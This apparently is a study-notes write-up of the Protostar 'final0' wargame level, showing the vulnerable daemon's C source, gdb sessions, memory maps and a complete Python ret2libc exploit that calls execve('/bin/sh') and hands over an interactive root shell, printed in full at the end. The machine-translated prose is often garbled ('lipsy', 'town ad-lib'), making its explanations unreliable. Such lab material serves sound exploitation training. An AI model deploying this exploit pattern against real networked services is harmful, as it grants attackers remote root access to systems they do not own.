Security_RNRF
0x30. 본문
30. First remote root exploit - bin.0x1D
: I learned how to debug "final0" from the "0x1C" video. And the first remote buffer overflow exploit could be completed.
-> In the "0x1C" video we wrote Python "one-liner" to interrupt the process and the command pointer was hexadecimal.
-> The "fffg" of "ASCII," now knows which character takes precedence over which of the stack's return po
: C Code(/opt/protostar/bin/final0)
#include "../common/common.c"
#define NAME "final0"
#define UID 0
#define GID 0
#define PORT 2995
/*
* Read the username in from the network
*/
char *get_username()
{
char buffer[512];
char *q;
int i;
memset(buffer, 0, sizeof(buffer));
gets(buffer);
/* Strip off trailing new line characters */
q = strchr(buffer, '\n');
if(q) *q = 0;
q = strchr(buffer, '\r');
if(q) *q = 0;
/* Convert to lower case */
for(i = 0; i < strlen(buffer); i++) {
buffer[i] = toupper(buffer[i]);
}
/* Duplicate the string and return it */
return strdup(buffer);
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *username;
/* Run the process as a daemon */
background_process(NAME, UID, GID);
/* Wait for socket activity and return */
fd = serve_forever(PORT);
/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);
username = get_username();
printf("No such user %s\n", username);
}
: Now you create a remote exploit, starting with the entire Python script.
-> cd /tmp
-> vim final0.py
writing…
-> Start by taking the "struct" and converting the address to the "Rob Id" string and connecting the socket to the remote service.
-> You can then copy a portion of the "1" liner up to "ff g" for padding.
-> You can control the command pointer and set up the socket as you did in football programming with Python video.
-> Then, use the socket to send an exploit string and send a new line to the end to stop reading the input.
-> "gets();" reads until & newline '\n'
: Theoretically at this point we would have succeeded in exploiting.
-> So we can send commands like "id" and send "uname -a" orders and get that response.
-> Although successful, you should plan how to obtain the shell before it is operational.
-> For example, there are many simple ways to do it.
-> Inserting a shell code with an "Op" slide is the string used to take the stack address and overflow.
-> But this deck is always a little unreliable, so it's better to read the "libc" technique.
: At least what makes an exploit more stable for the system?
-> This requires more information.
-> First of all, we need to look at possible functions.
-> su root
Password:(godmode)
-> gdb -p `pidof final0`
-> info functions @plt
All functions matching regular expression "@plt":
Non-debugging symbols:
0x080489fc __errno_location@plt
0x08048a0c srand@plt
0x08048a1c open@plt
0x08048a2c setgroups@plt
0x08048a3c getpid@plt
0x08048a4c strerror@plt
0x08048a5c daemon@plt
0x08048a6c err@plt
0x08048a7c signal@plt
0x08048a8c __gmon_start__@plt
0x08048a9c strchr@plt
0x08048aac gets@plt
0x08048abc write@plt
0x08048acc listen@plt
0x08048adc toupper@plt
0x08048aec memset@plt
0x08048afc __libc_start_main@plt
0x08048b0c wait@plt
0x08048b1c htons@plt
0x08048b2c read@plt
0x08048b3c setresuid@plt
0x08048b4c setresgid@plt
0x08048b5c accept@plt
0x08048b6c socket@plt
0x08048b7c dup2@plt
0x08048b8c strlen@plt
0x08048b9c asprintf@plt
0x08048bac printf@plt
0x08048bbc bind@plt
0x08048bcc close@plt
0x08048bdc fwrite@plt
0x08048bec fprintf@plt
0x08048bfc setvbuf@plt
0x08048c0c execve@plt
0x08048c1c malloc@plt
0x08048c2c fork@plt
0x08048c3c setsockopt@plt
0x08048c4c rand@plt
0x08048c5c htonl@plt
0x08048c6c snprintf@plt
0x08048c7c strdup@plt
0x08048c8c strcmp@plt
0x08048c9c exit@plt
---Type <return> to continue, or q <return> to quit---
0xb7ead9c4 calloc@plt
0xb7ead9d4 realloc@plt
0xb7ead9e4 feof@plt
0xb7ead9f4 malloc@plt
0xb7eada04 ___tls_get_addr@plt
0xb7eada14 memalign@plt
0xb7eada24 free@plt
0xb7eada34 _Unwind_Find_FDE@plt
0xb7fe37cc __libc_memalign@plt
0xb7fe37dc malloc@plt
0xb7fe37ec calloc@plt
0xb7fe37fc realloc@plt
0xb7fe380c ___tls_get_addr@plt
0xb7fe381c free@plt
Current language: auto
The current source language is "auto; currently asm".
-> While the program itself may not run as "slr," a "Lipy" can occur, which becomes randomized as "slr."
-> Therefore, it is generally recommended to find an address in the global offset table.
-> In "gdb", you can use the"info" function and specify a filter such as "add plt".
-> This shows all reference functions by this program that can now be called with these addresses.
-> And we don't have to worry about random web references.
-> Here we can find exactly "e" because it can be used to run other programs such as "pin" and "sh."
-> You can add addresses exactly in an exploit script.
: Now you must figure out how to prepare the stack to correctly call the correct "execve".
-> The easiest way is to create a simple example C program.
-> You can learn how to invoke it and write it in code on the "man" page of "execve."
-> man execve
SYNOPSIS
#include <unistd.h>
int execve(const char *filename, char *const argv[],
char *const envp[]);
-> vim exec.c
void main() {
execve("/bin/sh", 0, 0);
}
-> "sh" and "0" indicates that there is no argument or the environment variable.
-> If you are now on a 64-bit system, you must compile this test program in the same sense as the target program.
-> But your target is stroy. 2 bits. Always compile to 32 bits.
-> gcc exec.c -o exec
-> It is important to remember that problems can arise here.
-> But in this case, so now be compiled.
-> ./exec
$ id
uid=1001(user) gid=1001(user) groups=1001(user)
-> Use "break" in "gdb" and proceed until it is finished.
-> gdb ./exec
-> break *main
Breakpoint 1 at 0x80483c4
-> r
Starting program: /tmp/exec
Breakpoint 1, 0x080483c4 in main ()
-> si # step instruction
0x080483c5 in main ()
-> si
0x080483c7 in main ()
-> si
0x080483ca in main ()
-> si
0x080483cd in main ()
-> si
0x080483d5 in main ()
-> si
0x080483dd in main ()
-> si
0x080483e4 in main ()
-> si
0x080482fc in execve@plt ()
-> Let's now examine the eight words and hexadecimal numbers of "ESP" in this "break point" to look at the
-> x/8wx $esp
0xbffff7cc: 0x080483e9 0x080484b0 0x00000000 0x00000000
0xbffff7dc: 0xb7fd7ff4 0x08048400 0x00000000 0xbffff868
-> This is what the stack looks like when you return to the exit.
-> Is the first value in the stack a return pointer that returns after the end "V"?
-> x/5i 0x080483e9
0x80483e9 <main+37>: leave
0x80483ea <main+38>: ret
0x80483eb: nop
0x80483ec: nop
0x80483ed: nop
-> this points back into main.
-> But we don't care exactly where it will return because "e" runs another program and never returns it.
-> You can place the "a" and the exploit here.
-> The following values are actually the address of the string "Business age".
-> x/s 0x080484b0
0x80484b0: "/bin/sh"
-> How do we deal with it?
-> An easy way which kind of makes us exploit dependent on this current lipsy version is to look for this string and lipsy.
-> For a versionless exploit, you must first use a kind of information league.
-> But we must keep our case simple.
-> So use "grep" to find the string again in "libc."
-> We can use several factors to get an offset.
-> ldd exec # get paths to all Loaded Libraries
linux-gate.so.1 => (0xb7fe4000)
libc.so.6 => /lib/libc.so.6 (0xb7e99000)
/lib/ld-linux.so.2 (0xb7fe5000)
-> grep -R -a -b -o /bin/sh /lib/libc.so.6 # grep for /bin/sh in libc
1176511:/bin/sh # offset in libc OR offset of "/bin/sh" in libc
: Now you need to know where the "libc" is loaded.
-> You can find the process ID for "final0" and then use the "proc" file system to view the memory map.
-> pidof final0
1658
-> cat /proc/1658/maps
08048000-0804a000 r-xp 00000000 00:10 2243 /opt/protostar/bin/final0
0804a000-0804b000 rwxp 00001000 00:10 2243 /opt/protostar/bin/final0
b7e96000-b7e97000 rwxp 00000000 00:00 0
b7e97000-b7fd5000 r-xp 00000000 00:10 759 /lib/libc-2.11.2.so
b7fd5000-b7fd6000 ---p 0013e000 00:10 759 /lib/libc-2.11.2.so
b7fd6000-b7fd8000 r-xp 0013e000 00:10 759 /lib/libc-2.11.2.so
b7fd8000-b7fd9000 rwxp 00140000 00:10 759 /lib/libc-2.11.2.so
b7fd9000-b7fdc000 rwxp 00000000 00:00 0
b7fe0000-b7fe2000 rwxp 00000000 00:00 0
b7fe2000-b7fe3000 r-xp 00000000 00:00 0 [vdso]
b7fe3000-b7ffe000 r-xp 00000000 00:10 741 /lib/ld-2.11.2.so
b7ffe000-b7fff000 r-xp 0001a000 00:10 741 /lib/ld-2.11.2.so
b7fff000-b8000000 rwxp 0001b000 00:10 741 /lib/ld-2.11.2.so
bffeb000-c0000000 rwxp 00000000 00:00 0 [stack]
-> Since there is a memory address, let's copy all this information to the exploit script.
-> The string "bin" with "h" is located in the "libc" base at the offset obtained by "gripping" the file.
-> vim final0.py
import struct
import socket
HOST = '127.0.0.1'
PORT = 2995
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
padding = "a"*510+"\x00"+"aaaabbbbccccddddeeeef"
execve = struct.pack("I", 0x08048c0c)
binsh = struct.pack("I", 1176511 + 0xb7e97000) # “1176511”: offset inside of libc & “0xb7e97000”: base of libc
exploit = padding + execve + "AAAA" + binsh + "\x00"*80 # “binsh”: cakulated real address of "bin/sh"
s.send(exploit+"\n")
s.send("id\n")
s.send("uname -a\n")
print s.recv(1024)
-> The next two parameters are now "0". Now this abuse works.
-> Connect through the process using "gdb" to
-> Let's disassemble the user name import function, set a break point on return, and run the exploit.
-> gdb -p `pidof final0`
-> set disassembly-flavor intel
-> set follow-fork-mode child
-> disassemble get_username
Dump of assembler code for function get_username:
0x0804975a <get_username+0>: push ebp
0x0804975b <get_username+1>: mov ebp,esp
0x0804975d <get_username+3>: push ebx
0x0804975e <get_username+4>: sub esp,0x224
0x08049764 <get_username+10>: mov DWORD PTR [esp+0x8],0x200
0x0804976c <get_username+18>: mov DWORD PTR [esp+0x4],0x0
0x08049774 <get_username+26>: lea eax,[ebp-0x210]
0x0804977a <get_username+32>: mov DWORD PTR [esp],eax
0x0804977d <get_username+35>: call 0x8048aec <memset@plt>
0x08049782 <get_username+40>: lea eax,[ebp-0x210]
0x08049788 <get_username+46>: mov DWORD PTR [esp],eax
0x0804978b <get_username+49>: call 0x8048aac <gets@plt>
0x08049790 <get_username+54>: mov DWORD PTR [esp+0x4],0xa
0x08049798 <get_username+62>: lea eax,[ebp-0x210]
0x0804979e <get_username+68>: mov DWORD PTR [esp],eax
0x080497a1 <get_username+71>: call 0x8048a9c <strchr@plt>
0x080497a6 <get_username+76>: mov DWORD PTR [ebp-0x10],eax
0x080497a9 <get_username+79>: cmp DWORD PTR [ebp-0x10],0x0
0x080497ad <get_username+83>: je 0x80497b5 <get_username+91>
0x080497af <get_username+85>: mov eax,DWORD PTR [ebp-0x10]
0x080497b2 <get_username+88>: mov BYTE PTR [eax],0x0
0x080497b5 <get_username+91>: mov DWORD PTR [esp+0x4],0xd
0x080497bd <get_username+99>: lea eax,[ebp-0x210]
0x080497c3 <get_username+105>: mov DWORD PTR [esp],eax
0x080497c6 <get_username+108>: call 0x8048a9c <strchr@plt>
0x080497cb <get_username+113>: mov DWORD PTR [ebp-0x10],eax
0x080497ce <get_username+116>: cmp DWORD PTR [ebp-0x10],0x0
0x080497d2 <get_username+120>: je 0x80497da <get_username+128>
0x080497d4 <get_username+122>: mov eax,DWORD PTR [ebp-0x10]
0x080497d7 <get_username+125>: mov BYTE PTR [eax],0x0
0x080497da <get_username+128>: mov DWORD PTR [ebp-0xc],0x0
0x080497e1 <get_username+135>: jmp 0x8049807 <get_username+173>
0x080497e3 <get_username+137>: mov ebx,DWORD PTR [ebp-0xc]
0x080497e6 <get_username+140>: mov eax,DWORD PTR [ebp-0xc]
0x080497e9 <get_username+143>: movzx eax,BYTE PTR [ebp+eax*1-0x210]
0x080497f1 <get_username+151>: movsx eax,al
0x080497f4 <get_username+154>: mov DWORD PTR [esp],eax
0x080497f7 <get_username+157>: call 0x8048adc <toupper@plt>
0x080497fc <get_username+162>: mov BYTE PTR [ebp+ebx*1-0x210],al
0x08049803 <get_username+169>: add DWORD PTR [ebp-0xc],0x1
0x08049807 <get_username+173>: mov ebx,DWORD PTR [ebp-0xc]
0x0804980a <get_username+176>: lea eax,[ebp-0x210]
0x08049810 <get_username+182>: mov DWORD PTR [esp],eax
0x08049813 <get_username+185>: call 0x8048b8c <strlen@plt>
0x08049818 <get_username+190>: cmp ebx,eax
0x0804981a <get_username+192>: jb 0x80497e3 <get_username+137>
0x0804981c <get_username+194>: lea eax,[ebp-0x210]
0x08049822 <get_username+200>: mov DWORD PTR [esp],eax
0x08049825 <get_username+203>: call 0x8048c7c <strdup@plt>
0x0804982a <get_username+208>: add esp,0x224
0x08049830 <get_username+214>: pop ebx
0x08049831 <get_username+215>: pop ebp
0x08049832 <get_username+216>: ret
End of assembler dump.
-> break *0x08049832
Breakpoint 1 at 0x8049832: file final0/final0.c, line 34.
-> c
Continuing.
(Python) -> python final0.py
(gdb) -> [New process 8327]
[Switching to process 8327]
Breakpoint 1, 0x08049832 in get_username () at final0/final0.c:34
34 final0/final0.c: No such file or directory.
in final0/final0.c
Current language: auto
The current source language is "auto; currently c".
-> We reach the break point, develop one more command, and return to the end.
-> x/8wx $esp
0xbffffc5c: 0x08048c0c 0x41414141 0xb7fb63bf 0x00000000
0xbffffc6c: 0x00000000 0x00000000 0x00000000 0x00000000
-> Now let's look at the stack and make sure everything is right.
-> si
0x08048c0c in execve@plt ()
-> x/8wx $esp
0xbffffc60: 0x41414141 0xb7fb63bf 0x00000000 0x00000000 # fake return address
0xbffffc70: 0x00000000 0x00000000 0x00000000 0x00000000
-> Therefore, the first value is "A" and the correct value is the subsequent value.
-> x/s 0xb7fb63bf
0xb7fb63bf: "/bin/sh"
-> It looks great and runs a script without debugging in Ruby.
(another -> python final0.py
terminal) uid=0(root) gid=0(root) groups=0(root)
-> You can view the output of the first command.
-> It is thought that to obtain the output of both commands, it must be received twice.
-> Add "print s.recv(1024)" one more line to "final0.py"
-> python final0.py
uid=0(root) gid=0(root) groups=0(root)
Linux protostar 2.6.32-5-686 #1 SMP Mon Oct 3 04:15:24 UTC 2011 i686 GNU/Linux
: Now it's the last trick to make bad use better.
-> we didn't use the "town ad-lib" module then hand over the socket we open to the talent lip and call interact.
(Python) -> vim final0.py
import struct
import socket
import telnetlib
HOST = '127.0.0.1'
PORT = 2995
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
padding = "a"*510+"\00"+"aaaabbbbccccddddeeeef"
execve = struct.pack("I", 0x08048c0c)
binsh = struct.pack("I", 1176511 + 0xb7e97000)
exploit = padding + execve + "AAAA" + binsh + "\x00"*8
s.send(exploit+"\n")
s.send("id\n")
print s.recv(1024)
t = telnetlib.Telnet()
t.sock = s
t.interact()
-> "Telnet" is a very simple protocol, such as "TCP."
-> "Netcat" is often used for remote "shallow" connections, as is the case with the without encryption
-> When played over the network, a remote shell was created.
-> Thus, "python telent lib" can be used to create an interactive shell without having to write a wide range of code.
-> python final0.py
uid=0(root) gid=0(root) groups=0(root)
ls
bin
boot
dev
etc
home
initrd.img
lib
live
lost+found
media
mnt
opt
proc
sbin
selinux
srv
sys
tmp
usr
var
vmlinuz
uname
Linux
-> Now you can run Explorer and have a nice interactive shell.
-> This is now a remote exploit.
-> Someone on the network can run this "VM" and change the user and root passwords.
: Can I use this exploit to get root privileges?
-> Here is an example. Python is installed on your "Windows" computer, where you can copy the exploit script.
(windows -> Copy to the "Windows" Python.
python
Edit)
-> ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
link/ether 00:0c:29:89:ae:5b brd ff:ff:ff:ff:ff:ff
inet 192.168.70.130/24 brd 192.168.70.255 scope global eth0
inet6 fe80::20c:29ff:fe89:ae5b/64 scope link
valid_lft forever preferred_lft forever
: Now you have all the knowledge. Easy portable problems and "CTF" should be solved.
: Exploit Code(Python Code)
import struct
import socket
import telnetlib
HOST = '127.0.0.1' # Change the IP address
PORT = 2995
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
padding = "a"*510+"\00"+"aaaabbbbccccddddeeeef"
execve = struct.pack("I", 0x08048c0c)
binsh = struct.pack("I", 1176511 + 0xb7e97000)
exploit = padding + execve + "AAAA" + binsh + "\x00"*8
s.send(exploit+"\n")
s.send("id\n")
print s.recv(1024)
t = telnetlib.Telnet()
t.sock = s
t.interact()